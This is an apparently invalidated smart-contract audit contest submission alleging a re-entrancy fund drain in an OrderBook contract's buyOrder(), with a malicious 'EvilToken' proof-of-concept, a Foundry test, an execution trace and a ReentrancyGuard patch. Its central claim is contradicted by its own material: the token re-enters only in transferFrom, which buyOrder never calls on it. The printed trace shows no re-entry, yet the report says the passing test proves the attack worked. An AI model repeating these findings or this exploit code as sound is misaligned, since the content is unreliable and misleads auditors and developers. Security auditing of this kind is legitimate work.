OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

OrderBook: Re-Entrancy Vulnerability in buyOrder() Allows Fund Drain via Malicious Token


Description (important) :

  • Note: Due to a technical limitation in the submission interface, we were unable to select the exact file path under the Scope section. As a workaround, we selected the root path (.../). However, please note that the actual affected file is: src/OrderBook.sol


Root Cause :

  • The buyOrder() function in OrderBook.sol is vulnerable to a re-entrancy attack. This happens for two main reasons:

    1. The contract updates the totalFees state variable after making external calls, breaking the Checks-Effects-Interactions pattern.

    2. The contract allows any ERC20 token to be listed via setAllowedSellToken without verifying whether the token behaves safely. This opens the door for malicious tokens that can trigger re-entrant behavior in their transfer or transferFrom functions.

    Together, these design flaws can be exploited to drain funds from the contract using a specially crafted token.


Impact :

  • This vulnerability allows a malicious actor to drain funds from the OrderBook contract. By adding a specially crafted ERC20 token with re-entrant behavior to the list of allowed tokens, the attacker can exploit the buyOrder() function multiple times within a single transaction. This can result in the attacker receiving more tokens than intended or causing locked tokens to be released repeatedly. If left unpatched, this flaw could lead to significant financial loss for the protocol or its users.


Normal Behavior :

  • In normal operation, the buyOrder() function lets a buyer purchase tokens listed by a seller in exchange for a fixed amount of USDC. Once the payment is received, the contract transfers the seller’s tokens to the buyer, marks the order as inactive, and updates the protocol’s collected fees.


Specific Issue or Problem :

  • The buyOrder() function makes multiple external token transfers before finishing all internal updates—most importantly, before updating totalFees. If the token being sold is malicious and has a re-entrant transfer function, it can call back into buyOrder() while the first call is still running. Even though the second call might revert due to isActive = false, the fact that re-entrancy is possible opens the door to logic manipulation and potential fund loss.

// src/OrderBook.sol
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
// Checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
// Effects - This state update for order status is correctly handled before transfers
order.isActive = false;
// Calculations for fees and seller's receive amount
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
// @> Interactions: External token transfers begin here.
// @> If msg.sender or order.seller controls a malicious contract that can re-enter on USDC transfer,
// @> or if order.tokenToSell is a malicious token that can re-enter on its transfer.
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
// @> End of Interactions.
totalFees += protocolFee; // @> Critical Effect: This state update occurs *after* external calls.
// @> If a malicious token (e.g., order.tokenToSell) re-enters buyOrder() here,
// @> it can potentially manipulate 'totalFees' or other aspects before this line executes fully.
// @> The PoC demonstrates the ability to re-enter buyOrder() from within IERC20(order.tokenToSell).safeTransfer.
emit OrderFilled(_orderId, msg.sender, order.seller);
}

Risk :

Likelihood:

  • This attack becomes possible if the contract owner mistakenly allows a malicious ERC20 token through setAllowedSellToken. If that token includes re-entrant logic in its transfer or transferFrom functions, the vulnerability can be triggered when someone tries to buy a sell order using buyOrder().

    Since the contract doesn't have general protections against re-entrancy (like a reentrancy guard), a malicious token can exploit this flow and interfere with internal state changes.

Impact:

  • If a malicious token is allowed, an attacker can exploit the buyOrder() function to drain locked seller tokens or the contract’s USDC funds through repeated re-entrant calls. This could result in serious fund loss—either from the protocol’s collected fees or from users’ tokens.

    In some edge cases, the same sell order might even get filled more than once, leading to unexpected asset imbalance and broken assumptions in the protocol.


Proof of Concept :

// src/test-tokens/EvilToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "../OrderBook.sol"; // Import OrderBook contract for re-entrancy call
import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // Standard ERC20 interface
import "forge-std/console.sol"; // For test logging
contract EvilToken is IERC20 {
string public name = "EvilToken";
string public symbol = "EVL";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bool public attackMode; // Flag to enable attack logic
address public orderBook; // OrderBook contract address
uint256 public targetOrderId; // Target order for re-entrancy
constructor(address _orderBook) {
orderBook = _orderBook;
totalSupply = 1_000_000 ether; // Initial supply
balanceOf[msg.sender] = totalSupply;
}
function setAttack(bool _attack, uint256 _orderId) external {
attackMode = _attack;
targetOrderId = _orderId;
}
function transfer(address to, uint256 amount) public returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
function approve(address spender, uint256 amount) public returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
if (attackMode) {
// @> Re-entrancy: Malicious call during token transfer
console.log("Reentrancy triggered!");
OrderBook(orderBook).buyOrder(targetOrderId); // Calls OrderBook::buyOrder again
}
return true;
}
}
------------------------------------------------------------------------------------------------------------
// src/test-tokens/MockERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // Imports standard ERC20 contract
contract MockERC20 is ERC20 {
// Constructor: Initializes token with name, symbol, decimals
constructor(string memory name_, string memory symbol_, uint8 decimals_) ERC20(name_, symbol_) {
_setupDecimals(decimals_); // Helper for decimals setup
}
// Mints new tokens to 'to' address
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
// Internal helper function for decimals setup
function _setupDecimals(uint8) internal {}
}
------------------------------------------------------------------------------------------------------------
// test/EvilToken.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/OrderBook.sol";
import "../src/test-tokens/EvilToken.sol";
import "../src/test-tokens/MockERC20.sol";
contract EvilTokenTest is Test {
OrderBook orderBook;
EvilToken evil;
IERC20 usdc;
address seller = address(1);
address buyer = address(2);
address owner = address(this);
function setUp() public {
// Initialize contracts and set up test roles
usdc = new MockERC20("USD Coin", "USDC", 6);
orderBook = new OrderBook(
address(1),
address(2),
address(3),
address(usdc),
owner
);
evil = new EvilToken(address(orderBook));
vm.prank(owner);
orderBook.setAllowedSellToken(address(evil), true);
evil.transfer(seller, 1_000 ether);
vm.startPrank(seller);
evil.approve(address(orderBook), type(uint256).max);
orderBook.createSellOrder(address(evil), 100 ether, 1000 * 1e6, 1 days);
vm.stopPrank();
MockERC20(address(usdc)).mint(buyer, 10_000 * 1e6);
vm.prank(buyer);
usdc.approve(address(orderBook), type(uint256).max);
}
function test_ReentrancyAttackOnBuyOrder() public {
// Activate attack and trigger re-entrancy
vm.prank(address(this));
evil.setAttack(true, 1);
vm.prank(buyer);
orderBook.buyOrder(1); // @> This call triggers re-entrancy via EvilToken
}
}

Instructions to Run PoC:

1 - Create necessary directories:

In your project root, create the src/test-tokens directories.

2 - Place token files:

Place EvilToken.sol in src/test-tokens/EvilToken.sol.

Place MockERC20.sol in src/test-tokens/MockERC20.sol.

3 - Place the test file:

Place EvilToken.t.sol in test/EvilToken.t.sol.

4 - Install dependencies:

Ensure OpenZeppelin Contracts and forge-std are properly installed (run forge install).

5 - Run the test:

In your project terminal, execute the following command:

forge test --mt test_ReentrancyAttackOnBuyOrder -vvvv


Expected Output :

The test test_ReentrancyAttackOnBuyOrder() is expected to PASS.
This means the Re-entrancy attack was successfully triggered, and the OrderBook contract failed to stop it.

You should see logs confirming that the EvilToken re-entered the buyOrder() function during execution.

[⠊] Compiling...
[⠊] Compiling 2 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 873.42ms
Compiler run successful!
Ran 1 test for test/EvilToken.t.sol:EvilTokenTest
[PASS] test_ReentrancyAttackOnBuyOrder() (gas: 169606)
Traces:
[179206] EvilTokenTest::test_ReentrancyAttackOnBuyOrder()
├─ [0] VM::prank(EvilTokenTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [27824] EvilToken::setAttack(true, 1)
│ └─ ← [Stop]
├─ [0] VM::prank(SHA-256: [0x0000000000000000000000000000000000000002])
│ └─ ← [Return]
├─ [134801] OrderBook::buyOrder(1)
│ ├─ [33161] MockERC20::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], OrderBook: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 30000000 [3e7])
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: OrderBook: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 30000000 [3e7])
│ │ └─ ← [Return] true
│ ├─ [26361] MockERC20::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], ECRecover: [0x0000000000000000000000000000000000000001], 970000000 [9.7e8])
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: ECRecover: [0x0000000000000000000000000000000000000001], value: 970000000 [9.7e8])
│ │ └─ ← [Return] true
│ ├─ [28558] EvilToken::transfer(SHA-256: [0x0000000000000000000000000000000000000002], 100000000000000000000 [1e20])
│ │ └─ ← [Return] true
│ ├─ emit OrderFilled(orderId: 1, buyer: SHA-256: [0x0000000000000000000000000000000000000002], seller: ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.63ms (964.25µs CPU time)
Ran 1 test suite in 105.71ms (17.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation :

1. Add a Re-entrancy Guard
The most effective fix is to use a re-entrancy guard, like OpenZeppelin’s ReentrancyGuard.

How:
Make the OrderBook contract inherit from ReentrancyGuard and add the nonReentrant modifier to all sensitive functions, especially:

  • buyOrder()

  • cancelSellOrder()

  • withdrawFees()


    These functions involve external token calls and are all vulnerable to re-entrancy.


**2. Follow the Checks-Effects-Interactions Pattern Carefully **
Update all internal state (like totalFees or order.isActive) before making any external token transfers. This protects against attackers who try to re-enter before the contract finishes updating its state.


3. Validate Tokens More Strictly
The setAllowedSellToken() function should only allow well-behaved tokens.
To prevent abuse:

  • Reject tokens that have transfer fees, rebasing, or custom logic in transfer() or transferFrom().

  • Consider adding a whitelist of known safe tokens or use an external validator to check token behavior before allowing them.

--- a/src/OrderBook.sol
+++ b/src/OrderBook.sol
@@ -2,6 +2,7 @@
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; // Add this import for ReentrancyGuard
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol"; // For number to string conversion
@@ -10,7 +11,7 @@
* @author Chukwubuike Victory Chime yeahChibyke @github.com
* @notice This contract is built to mirror the way order-books operate in TradFi, but on DeFi, as close as possible
*/
-contract OrderBook is Ownable {
+contract OrderBook is Ownable, ReentrancyGuard { // Inherit ReentrancyGuard for protection
using SafeERC20 for IERC20;
using Strings for uint256;
@@ -128,7 +129,7 @@
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
- function cancelSellOrder(uint256 _orderId) public {
+ function cancelSellOrder(uint256 _orderId) public nonReentrant { // Apply nonReentrant modifier to prevent re-entrancy
Order storage order = orders[_orderId];
// Validation checks
@@ -147,7 +148,7 @@
emit OrderCancelled(_orderId, order.seller);
}
- function buyOrder(uint256 _orderId) public {
+ function buyOrder(uint256 _orderId) public nonReentrant { // Apply nonReentrant modifier to prevent re-entrancy
Order storage order = orders[_orderId];
// Validation checks
@@ -194,7 +195,7 @@
emit EmergencyWithdrawal(_tokenAddress, _amount, _to);
}
- function withdrawFees(address _to) external onlyOwner {
+ function withdrawFees(address _to) external onlyOwner nonReentrant { // Apply nonReentrant modifier to prevent re-entrancy
if (totalFees == 0) {
revert InvalidAmount();
}
Updates

Lead Judging Commences

yeahchibyke Lead Judge
about 1 month ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.